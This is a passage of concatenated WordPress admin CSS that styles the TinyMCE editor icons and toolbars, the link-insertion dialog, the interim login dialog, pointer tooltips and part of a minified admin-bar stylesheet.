	content: "\f221";
}

i.mce-i-indent:before {
	content: "\f222";
}

i.mce-i-undo:before {
	content: "\f171";
}

i.mce-i-redo:before {
	content: "\f172";
}

i.mce-i-help:before,
i.mce-i-wp_help:before {
	content: "\f223";
}

i.mce-i-wp-media-library:before {
	content: "\f104";
}

i.mce-i-ltr:before {
	content: "\f320";
}

i.mce-i-wp_page:before {
	content: "\f105";
}

i.mce-i-hr:before {
	content: "\f460";
}

i.mce-i-remove:before {
	content: "\f158";
}

i.mce-i-wp_code:before {
	content: "\f475";
}

/* RTL button icons */
.rtl i.mce-i-outdent:before {
	content: "\f222";
}

.rtl i.mce-i-indent:before {
	content: "\f221";
}

/* Editors */
.wp-editor-wrap {
	position: relative;
}

.wp-editor-tools {
	position: relative;
	z-index: 1;
}

.wp-editor-tools:after {
	clear: both;
	content: "";
	display: table;
}

.wp-editor-container {
	clear: both;
	border: 1px solid #dcdcde;
}

.wp-editor-area {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	padding: 10px;
	margin: 1px 0 0;
	line-height: 150%;
	border: 0;
	outline: none;
	display: block;
	resize: vertical;
	box-sizing: border-box;
}

.rtl .wp-editor-area {
	font-family: Tahoma, Monaco, monospace;
}

.locale-he-il .wp-editor-area {
	font-family: Arial, Monaco, monospace;
}

.wp-editor-container textarea.wp-editor-area {
	width: 100%;
	margin: 0;
	box-shadow: none;
}

.wp-editor-tabs {
	float: right;
}

.wp-switch-editor {
	float: left;
	box-sizing: content-box;
	position: relative;
	top: 1px;
	background: #f0f0f1;
	color: #646970;
	cursor: pointer;
	font-size: 13px;
	line-height: 1.46153846;
	height: 20px;
	margin: 5px 0 0 5px;
	padding: 3px 8px 4px;
	border: 1px solid #dcdcde;
}

.wp-switch-editor:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	color: #1d2327;
}

.wp-switch-editor:active,
.html-active .switch-html:focus,
.tmce-active .switch-tmce:focus {
	box-shadow: none;
}

.wp-switch-editor:active {
	background-color: #f6f7f7;
	box-shadow: none;
}

.js .tmce-active .wp-editor-area {
	color: #fff;
}

.tmce-active .quicktags-toolbar {
	display: none;
}

.tmce-active .switch-tmce,
.html-active .switch-html {
	background: #f6f7f7;
	color: #50575e;
	border-bottom-color: #f6f7f7;
}

.wp-media-buttons {
	float: left;
}

.wp-media-buttons .button {
	margin-right: 5px;
	margin-bottom: 4px;
	padding-left: 7px;
	padding-right: 7px;
}

.wp-media-buttons .button:active {
	position: relative;
	top: 1px;
	margin-top: -1px;
	margin-bottom: 1px;
}

.wp-media-buttons .insert-media {
	padding-left: 5px;
}

.wp-media-buttons a {
	text-decoration: none;
	color: #3c434a;
	font-size: 12px;
}

.wp-media-buttons img {
	padding: 0 4px;
	vertical-align: middle;
}

.wp-media-buttons span.wp-media-buttons-icon {
	display: inline-block;
	width: 20px;
	height: 20px;
	line-height: 1;
	vertical-align: middle;
	margin: 0 2px;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon {
	background: none;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	content: "\f104";
}

.mce-content-body dl.wp-caption {
	max-width: 100%;
}

/* Quicktags */
.quicktags-toolbar {
	padding: 3px;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	min-height: 30px;
}

.has-dfw .quicktags-toolbar {
	padding-right: 35px;
}

.wp-core-ui .quicktags-toolbar input.button.button-small {
	margin: 2px;
}

.quicktags-toolbar input[value="link"] {
	text-decoration: underline;
}

.quicktags-toolbar input[value="del"] {
	text-decoration: line-through;
}

.quicktags-toolbar input[value="i"] {
	font-style: italic;
}

.quicktags-toolbar input[value="b"] {
	font-weight: 600;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
.qt-dfw {
	position: absolute;
	top: 0;
	right: 0;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
	margin: 7px 7px 0 0;
}

.qt-dfw {
	margin: 5px 5px 0 0;
}

.qt-fullscreen {
	position: static;
	margin: 2px;
}

@media screen and (max-width: 782px) {
	.mce-toolbar .mce-btn button,
	.qt-dfw {
		padding: 6px 7px;
	}

	/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
	.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
		padding: 6px 7px 5px;
	}

	.mce-toolbar .mce-btn-group .mce-btn {
		margin: 1px;
	}

	.qt-dfw {
		width: 36px;
		height: 34px;
	}

	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
		margin: 4px 4px 0 0;
	}

	.mce-toolbar .mce-colorbutton .mce-preview {
		left: 8px;
		bottom: 6px;
	}

	.mce-window .mce-btn {
		padding: 2px 0;
	}

	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
	.has-dfw .quicktags-toolbar {
		padding-right: 40px;
	}
}

@media screen and (min-width: 782px) {
	.wp-core-ui .quicktags-toolbar input.button.button-small {
		/* .button-small is normally 11px, but a bit too small for these buttons. */
		font-size: 12px;
		min-height: 26px;
		line-height: 2;
	}
}

#wp_editbtns,
#wp_gallerybtns {
	padding: 2px;
	position: absolute;
	display: none;
	z-index: 100020;
}

#wp_editimgbtn,
#wp_delimgbtn,
#wp_editgallery,
#wp_delgallery {
	background-color: #f0f0f1;
	margin: 2px;
	padding: 2px;
	border: 1px solid #8c8f94;
	border-radius: 3px;
}

#wp_editimgbtn:hover,
#wp_delimgbtn:hover,
#wp_editgallery:hover,
#wp_delgallery:hover {
	border-color: #50575e;
	background-color: #c3c4c7;
}

/*------------------------------------------------------------------------------
 wp-link
------------------------------------------------------------------------------*/

#wp-link-wrap {
	display: none;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 500px;
	overflow: hidden;
	margin-left: -250px;
	margin-top: -125px;
	position: fixed;
	top: 50%;
	left: 50%;
	z-index: 100105;
	transition: height 0.2s, margin-top 0.2s;
}

#wp-link-backdrop {
	display: none;
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

#wp-link {
	position: relative;
	height: 100%;
}

#wp-link-wrap {
	height: 600px;
	margin-top: -300px;
}

#wp-link-wrap .wp-link-text-field {
	display: none;
}

#wp-link-wrap.has-text-field .wp-link-text-field {
	display: block;
}

#link-modal-title {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	margin: 0;
	padding: 0 36px 0 16px;
}

#wp-link-close {
	color: #646970;
	padding: 0;
	position: absolute;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	background: none;
	border: none;
	cursor: pointer;
}

#wp-link-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 36px;
	height: 36px;
	content: "\f158";
}

#wp-link-close:hover,
#wp-link-close:focus {
	color: #135e96;
}

#wp-link-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#wp-link-wrap #link-selector {
	-webkit-overflow-scrolling: touch;
	padding: 0 16px;
	position: absolute;
	top: calc(2.15384615em + 16px);
	left: 0;
	right: 0;
	bottom: calc(2.15384615em + 19px);
	display: flex;
	flex-direction: column;
	overflow: auto;
}

#wp-link ol,
#wp-link ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

#wp-link input[type="text"] {
	box-sizing: border-box;
}

#wp-link #link-options {
	padding: 8px 0 12px;
}

#wp-link p.howto {
	margin: 3px 0;
}

#wp-link p.howto a {
	text-decoration: none;
	color: inherit;
}

#wp-link label input[type="text"] {
	margin-top: 5px;
	width: 70%;
}

#wp-link #link-options label span,
#wp-link #search-panel label span.search-label {
	display: inline-block;
	width: 120px;
	text-align: right;
	padding-right: 5px;
	max-width: 24%;
	vertical-align: middle;
	word-wrap: break-word;
}

#wp-link .link-search-field {
	width: 250px;
	max-width: 70%;
}

#wp-link .link-search-wrapper {
	margin: 5px 0 9px;
	display: block;
}

#wp-link .query-results {
	position: absolute;
	width: calc(100% - 32px);
}

#wp-link .link-search-wrapper .spinner {
	float: none;
	margin: -3px 0 0 4px;
}

#wp-link .link-target {
	padding: 3px 0 0;
}

#wp-link .link-target label {
	max-width: 70%;
}

#wp-link .query-results {
	border: 1px #dcdcde solid;
	margin: 0 0 12px;
	background: #fff;
	overflow: auto;
	max-height: 290px;
}

#wp-link li {
	clear: both;
	margin-bottom: 0;
	border-bottom: 1px solid #f0f0f1;
	color: #2c3338;
	padding: 4px 6px 4px 10px;
	cursor: pointer;
	position: relative;
}

#wp-link .query-notice {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #fff;
	color: #000;
}

#wp-link .query-notice .query-notice-default,
#wp-link .query-notice .query-notice-hint {
	display: block;
	padding: 6px;
	border-left: 4px solid #72aee6;
}

#wp-link .unselectable.no-matches-found {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
}

#wp-link .no-matches-found .item-title {
	display: block;
	padding: 6px;
	border-left: 4px solid #d63638;
}

#wp-link .query-results em {
	font-style: normal;
}

#wp-link li:hover {
	background: #f0f6fc;
	color: #101517;
}

#wp-link li.unselectable {
	border-bottom: 1px solid #dcdcde;
}

#wp-link li.unselectable:hover {
	background: #fff;
	cursor: auto;
	color: #2c3338;
}

#wp-link li.selected {
	background: #dcdcde;
	color: #2c3338;
}

#wp-link li.selected .item-title {
	font-weight: 600;
}

#wp-link li:last-child {
	border: none;
}

#wp-link .item-title {
	display: inline-block;
	width: 80%;
	width: calc(100% - 68px);
	word-wrap: break-word;
}

#wp-link .item-info {
	text-transform: uppercase;
	color: #646970;
	font-size: 11px;
	position: absolute;
	right: 5px;
	top: 5px;
}

#wp-link .river-waiting {
	display: none;
	padding: 10px 0;
}

#wp-link .submitbox {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
}

#wp-link-cancel {
	line-height: 1.92307692;
	float: left;
}

#wp-link-update {
	line-height: 1.76923076;
	float: right;
}

#wp-link-submit {
	float: right;
}

@media screen and (max-width: 782px) {
	#link-selector {
		padding: 0 16px 60px;
	}

	#wp-link-wrap #link-selector {
		bottom: calc(2.71428571em + 23px);
	}

	#wp-link-cancel {
		line-height: 2.46153846;
	}

	#wp-link .link-target {
		padding-top: 10px;
	}

	#wp-link .submitbox .button {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 520px) {
	#wp-link-wrap {
		width: auto;
		margin-left: 0;
		left: 10px;
		right: 10px;
		max-width: 500px;
	}
}

@media screen and (max-height: 620px) {
	#wp-link-wrap {
		transition: none;
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
	}
}

@media screen and (max-height: 290px) {
	#wp-link-wrap {
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
		height: calc(100% - 92px);
		padding-bottom: 2px;
	}
}

div.wp-link-preview {
	float: left;
	margin: 5px;
	max-width: 694px;
	overflow: hidden;
	text-overflow: ellipsis;
}

div.wp-link-preview a {
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
	cursor: pointer;
}

div.wp-link-preview a.wplink-url-error {
	color: #d63638;
}

div.wp-link-input {
	float: left;
	margin: 2px;
	max-width: 694px;
}

div.wp-link-input input {
	width: 300px;
	padding: 3px;
	box-sizing: border-box;
	line-height: 1.28571429; /* 18px */
	/* Override value inherited from default input fields. */
	min-height: 26px;
}

.mce-toolbar div.wp-link-preview ~ .mce-btn,
.mce-toolbar div.wp-link-input ~ .mce-btn {
	margin: 2px 1px;
}

.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child {
	margin-right: 2px;
}

.ui-autocomplete.wplink-autocomplete {
	z-index: 100110;
	max-height: 200px;
	overflow-y: auto;
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete.wplink-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	clear: both;
	white-space: normal;
	text-align: left;
}

.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right {
	float: right;
}

.ui-autocomplete.wplink-autocomplete li.ui-state-focus {
	background-color: #dcdcde;
	cursor: pointer;
}

@media screen and (max-width: 782px) {
	div.wp-link-preview,
	div.wp-link-input {
		max-width: 70%;
		max-width: calc(100% - 86px);
	}

	div.wp-link-preview {
		margin: 8px 0 8px 5px;
	}

	div.wp-link-input {
		width: 300px;
	}

	div.wp-link-input input {
		width: 100%;
		font-size: 16px;
		padding: 5px;
	}
}

/* =Overlay Body
-------------------------------------------------------------- */

.mce-fullscreen {
	z-index: 100010;
}

/* =Localization
-------------------------------------------------------------- */
.rtl .wp-switch-editor,
.rtl .quicktags-toolbar input {
	font-family: Tahoma, sans-serif;
}

/* rtl:ignore */
.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
	direction: rtl;
}

/* rtl:ignore */
.mce-rtl .mce-listbox i.mce-caret {
	left: 6px;
}

html:lang(he-il) .rtl .wp-switch-editor,
html:lang(he-il) .rtl .quicktags-toolbar input {
	font-family: Arial, sans-serif;
}

/* HiDPI */
@media print,
  (min-resolution: 120dpi) {
	.wp-media-buttons .add_media span.wp-media-buttons-icon {
		background: none;
	}
}
/*! This file is auto-generated */
/*------------------------------------------------------------------------------
 Interim login dialog
------------------------------------------------------------------------------*/

#wp-auth-check-wrap.hidden {
	display: none;
}

#wp-auth-check-wrap #wp-auth-check-bg {
	position: fixed;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000010; /* needs to appear above .notification-dialog */
}

#wp-auth-check-wrap #wp-auth-check {
	position: fixed;
	right: 50%;
	overflow: hidden;
	top: 40px;
	bottom: 20px;
	max-height: 415px;
	width: 380px;
	margin: 0 -190px 0 0;
	padding: 30px 0 0;
	background-color: #f0f0f1;
	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

@media screen and (max-width: 380px) {
	#wp-auth-check-wrap #wp-auth-check {
		right: 0;
		width: 100%;
		margin: 0;
	}
}

#wp-auth-check-wrap.fallback #wp-auth-check {
	max-height: 180px;
	overflow: auto;
}

#wp-auth-check-wrap #wp-auth-check-form {
	height: 100%;
	position: relative;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

#wp-auth-check-form.loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	right: 50%;
	top: 50%;
	margin: -10px -10px 0 0;
	background: url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
  (min-resolution: 120dpi) {

	#wp-auth-check-form.loading:before {
		background-image: url(../images/spinner-2x.gif);
	}

}

#wp-auth-check-wrap #wp-auth-check-form iframe {
	height: 98%; /* Scrollbar fix */
	width: 100%;
}

#wp-auth-check-wrap .wp-auth-check-close {
	position: absolute;
	top: 5px;
	left: 5px;
	height: 22px;
	width: 22px;
	color: #787c82;
	text-decoration: none;
	text-align: center;
}

#wp-auth-check-wrap .wp-auth-check-close:before {
	content: "\f158";
	font: normal 20px/22px dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased !important;
	-moz-osx-font-smoothing: grayscale;
}

#wp-auth-check-wrap .wp-auth-check-close:hover,
#wp-auth-check-wrap .wp-auth-check-close:focus {
	color: #2271b1;
}

#wp-auth-check-wrap .wp-auth-fallback-expired {
	outline: 0;
}

#wp-auth-check-wrap .wp-auth-fallback {
	font-size: 14px;
	line-height: 1.5;
	padding: 0 25px;
	display: none;
}

#wp-auth-check-wrap.fallback .wp-auth-fallback,
#wp-auth-check-wrap.fallback .wp-auth-check-close {
	display: block;
}
.wp-pointer-content {
	padding: 0 0 10px;
	position: relative;
	font-size: 13px;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.08);
}

.wp-pointer-content h3 {
	position: relative;
	margin: -1px -1px 5px;
	padding: 15px 18px 14px 60px;
	border: 1px solid #2271b1;
	border-bottom: none;
	line-height: 1.4;
	font-size: 14px;
	color: #fff;
	background: #2271b1;
}

.wp-pointer-content h3:before {
	background: #fff;
	border-radius: 50%;
	color: #2271b1;
	content: "\f227";
	font: normal 20px/1.6 dashicons;
	position: absolute;
	top: 8px;
	left: 15px;
	speak: never;
	text-align: center;
	width: 32px;
	height: 32px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-pointer-content h4 {
	margin: 1.33em 20px 1em;
	font-size: 1.15em;
}

.wp-pointer-content p {
	padding: 0 20px;
}

.wp-pointer-buttons {
	margin: 0;
	padding: 5px 15px;
	overflow: auto;
}

.wp-pointer-buttons a {
	float: right;
	display: inline-block;
	text-decoration: none;
}

.wp-pointer-buttons a.close {
	padding-left: 3px;
	position: relative;
}

.wp-pointer-buttons a.close:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block !important;
	font: normal 16px/1 dashicons;
	speak: never;
	margin: 1px 0;
	text-align: center;
	-webkit-font-smoothing: antialiased !important;
	width: 10px;
	height: 100%;
	position: absolute;
	left: -15px;
	top: 1px;
}

.wp-pointer-buttons a.close:hover:before {
	color: #d63638;
}

/* The arrow base class must take up no space, even with transparent borders. */
.wp-pointer-arrow,
.wp-pointer-arrow-inner {
	position: absolute;
	width: 0;
	height: 0;
}

.wp-pointer-arrow {
	z-index: 10;
	width: 0;
	height: 0;
	border: 0 solid transparent;
}

.wp-pointer-arrow-inner {
	z-index: 20;
}

/* Make Room for the Arrow! */
.wp-pointer-top,
.wp-pointer-undefined {
	padding-top: 13px;
}

.wp-pointer-bottom {
	margin-top: -13px;
	padding-bottom: 13px;
}

/* rtl:ignore */
.wp-pointer-left {
	padding-left: 13px;
}
/* rtl:ignore */
.wp-pointer-right {
	margin-left: -13px;
	padding-right: 13px;
}

/* Base Size & Positioning */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-bottom .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	left: 50px;
}

.wp-pointer-left .wp-pointer-arrow,
.wp-pointer-right .wp-pointer-arrow {
	top: 50%;
	margin-top: -15px;
}

/* Arrow Sprite */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	top: 0;
	border-width: 0 13px 13px;
	border-bottom-color: #2271b1;
}

.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer-undefined .wp-pointer-arrow-inner {
	top: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-bottom-color: #2271b1;
	display: block;
	content: " ";
}

.wp-pointer-bottom .wp-pointer-arrow {
	bottom: 0;
	border-width: 13px 13px 0;
	border-top-color: #c3c4c7;
}

.wp-pointer-bottom .wp-pointer-arrow-inner {
	bottom: 1px;
	margin-left: -13px;
	margin-bottom: -13px;
	border: 13px solid transparent;
	border-top-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow {
	left: 0;
	border-width: 13px 13px 13px 0;
	border-right-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow-inner {
	left: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-right-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow {
	right: 0;
	border-width: 13px 0 13px 13px;
	border-left-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow-inner {
	right: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-left-color: #fff;
	display: block;
	content: " ";
}

.wp-pointer.arrow-bottom .wp-pointer-content {
	margin-bottom: -45px;
}

.wp-pointer.arrow-bottom .wp-pointer-arrow {
	top: 100%;
	margin-top: -30px;
}

/* Disable pointers at responsive sizes */
@media screen and (max-width: 782px) {
	.wp-pointer {
		display: none;
	}
}
/*! This file is auto-generated */
html{--wp-admin--admin-bar--height:32px;scroll-padding-top:var(--wp-admin--admin-bar--height)}#wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-shadow:none;text-transform:none;letter-spacing:normal;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-style:normal;line-height:2.46153846;border-radius:0;box-sizing:content-box;transition:none;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto}.rtl #wpadminbar *{font-family:Tahoma,sans-serif}html:lang(he-il) .rtl #wpadminbar *{font-family:Arial,sans-serif}#wpadminbar .ab-empty-item{cursor:default}#wpadminbar .ab-empty-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#f0f0f1}#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{white-space:nowrap}#wpadminbar ul li:after,#wpadminbar ul li:before{content:normal}#wpadminbar a,#wpadminbar a img,#wpadminbar a img:hover,#wpadminbar a:hover{border:none;text-decoration:none;background:0 0;box-shadow:none}#wpadminbar a:active,#wpadminbar a:focus,#wpadminbar div,#wpadminbar input[type=email],#wpadminbar input[type=number],#wpadminbar input[type=password],#wpadminbar input[type=search],#wpadminbar input[type=text],#wpadminbar input[type=url],#wpadminbar select,#wpadminbar textarea{box-shadow:none}#wpadminbar a:focus{outline-offset:-1px}#wpadminbar{direction:ltr;color:#c3c4c7;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;height:32px;position:fixed;top:0;left:0;width:100%;min-width:600px;z-index:99999;background:#1d2327}#wpadminbar .ab-sub-wrapper,#wpadminbar ul,#wpadminbar ul li{background:0 0;clear:none;list-style:none;margin:0;padding:0;position:relative;text-indent:0;z-index:99999}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar .quicklinks ul{text-align:left}#wpadminbar li{float:left}#wpadminbar .ab-empty-item{outline:0}#wpadminbar .quicklinks .ab-top-secondary>li{float:right}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{height:32px;display:block;padding:0 10px;margin:0}#wpadminbar .quicklinks>ul>li>a{padding:0 8px 0 7px}#wpadminbar .menupop .ab-sub-wrapper,#wpadminbar .shortlink-input{margin:0;padding:0;box-shadow:0 3px 5px rgba(0,0,0,.2);background:#2c3338;display:none;position:absolute;float:none}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:100%}#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper{right:0;left:auto}#wpadminbar .ab-submenu{padding:6px 0}#wpadminbar .selected .shortlink-input{display:block}#wpadminbar .quicklinks .menupop ul li{float:none}#wpadminbar .quicklinks .menupop ul li a strong{font-weight:600}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:2;height:26px;white-space:nowrap;min-width:140px}#wpadminbar .shortlink-input{width:200px}#wpadminbar li.hover>.ab-sub-wrapper,#wpadminbar.nojs li:hover>.ab-sub-wrapper{display:block}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-left:100%;margin-top:-32px}#wpadminbar .ab-top-secondary .menupop li.hover>.ab-sub-wrapper,#wpadminbar .ab-top-secondary .menupop li:hover>.ab-sub-wrapper{margin-left:0;left:inherit;right:100%}#wpadminbar .ab-top-menu>li.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{background:#2c3338;color:#72aee6}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label,#wpadminbar>#wp-toolbar li.hover span.ab-label{color:#72aee6}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon,.wp-admin-bar-arrow{position:relative;float:left;font:normal 20px/1 dashicons;speak:never;padding:4px 0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-image:none!important;margin-right:6px}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{color:#a7aaad;color:rgba(240,246,252,.6)}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{position:relative;transition:color .1s ease-in-out}#wpadminbar .ab-label{display:inline-block;height:32px}#wpadminbar .ab-submenu .ab-item{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#72aee6}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c3c4c7}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#72aee6}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before,#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{position:absolute;font:normal 17px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar .menupop .menupop>.ab-item{display:block;padding-right:2em}#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;right:10px;padding:4px 0;content:"\f139";color:inherit}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item{padding-left:2em;padding-right:1em}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;left:6px;content:"\f141"}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary{display:block;position:relative;right:auto;margin:0;box-shadow:none}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#3c434a}#wpadminbar .quicklinks .menupop .ab-sub-secondary>li .ab-item:focus a,#wpadminbar .quicklinks .menupop .ab-sub-secondary>li>a:hover{color:#72aee6}#wpadminbar .quicklinks a span#ab-updates{background:#f0f0f1;color:#2c3338;display:inline;padding:2px 5px;font-size:10px;font-weight:600;border-radius:10px}#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000}#wpadminbar .ab-top-secondary{float:right}#wpadminbar ul li:last-child,#wpadminbar ul li:last-child .ab-item{box-shadow:none}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d63638}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#d63638}#wp-admin-bar-my-account>ul{min-width:198px}#wp-admin-bar-my-account:not(.with-avatar)>.ab-item{display:inline-block}#wp-admin-bar-my-account>.ab-item:before{content:"\f110";top:2px;float:right;margin-left:6px;margin-right:0}#wp-admin-bar-my-account.with-avatar>.ab-item:before{display:none;content:none}#wp-admin-bar-my-account.with-avatar>ul{min-width:270px}#wpadminbar 